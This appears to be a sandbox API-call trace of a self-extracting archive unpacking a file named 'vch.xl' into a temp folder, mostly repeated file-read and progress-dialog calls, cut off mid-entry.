[0068.590] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x24, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x24, lpOverlapped=0x0) returned 1 [0068.590] OemToCharA (in: pSrc="vch.xl", pDst=0x179cc0 | out: pDst="vch.xl") returned 1 [0068.590] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="vch.xl", cchCount2=1) returned 1 [0068.590] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="vch.xl", cchCount2=6) returned 1 [0068.590] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="vch.xl", cchCount2=-1) returned 1 [0068.590] SetFilePointer (in: hFile=0x1c, lDistanceToMove=877646, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd644e [0068.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="vch.xl") returned 7 [0068.590] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.590] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting vch.xl") returned 17 [0068.590] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting vch.xl") returned 1 [0068.590] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.590] OemToCharBuffA (in: lpszSrc="v", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="v") returned 1 [0068.590] CharToOemBuffA (in: lpszSrc="V", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="V") returned 1 [0068.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="vch.xl") returned 7 [0068.590] FindFirstFileW (in: lpFileName="vch.xl", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.591] GetLastError () returned 0x2 [0068.591] GetFileAttributesA (lpFileName="vch.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vch.xl")) returned 0xffffffff [0068.591] CreateFileA (lpFileName="vch.xl" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vch.xl"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.591] GetFileType (hFile=0x138) returned 0x1 [0068.591] SetFilePointer (in: hFile=0x138, lDistanceToMove=597, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x255 [0068.591] SetEndOfFile (hFile=0x138) returned 1 [0068.591] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.591] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1e2, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1e2, lpOverlapped=0x0) returned 1 [0068.591] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.591] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.591] GetTickCount () returned 0x1fc38 [0068.591] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.591] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.591] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.591] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.591] GetTickCount () returned 0x1fc38 [0068.591] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.591] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.591] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.591] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.591] GetTickCount () returned 0x1fc38 [0068.591] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.591] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.591] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.591] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.591] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.592] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.592] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.592] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.592] GetTickCount () returned 0x1fc38 [0068.592] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.593] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.593] GetTickCount () returned 0x1fc38 [0068.593] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.593] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.593] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.594] ReadFile (in: hFile=0x1c, lpBuffer=0x27046a, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046a*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.594] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.594] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.594] GetTickCount () returned 0x1fc38 [0068.594] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, 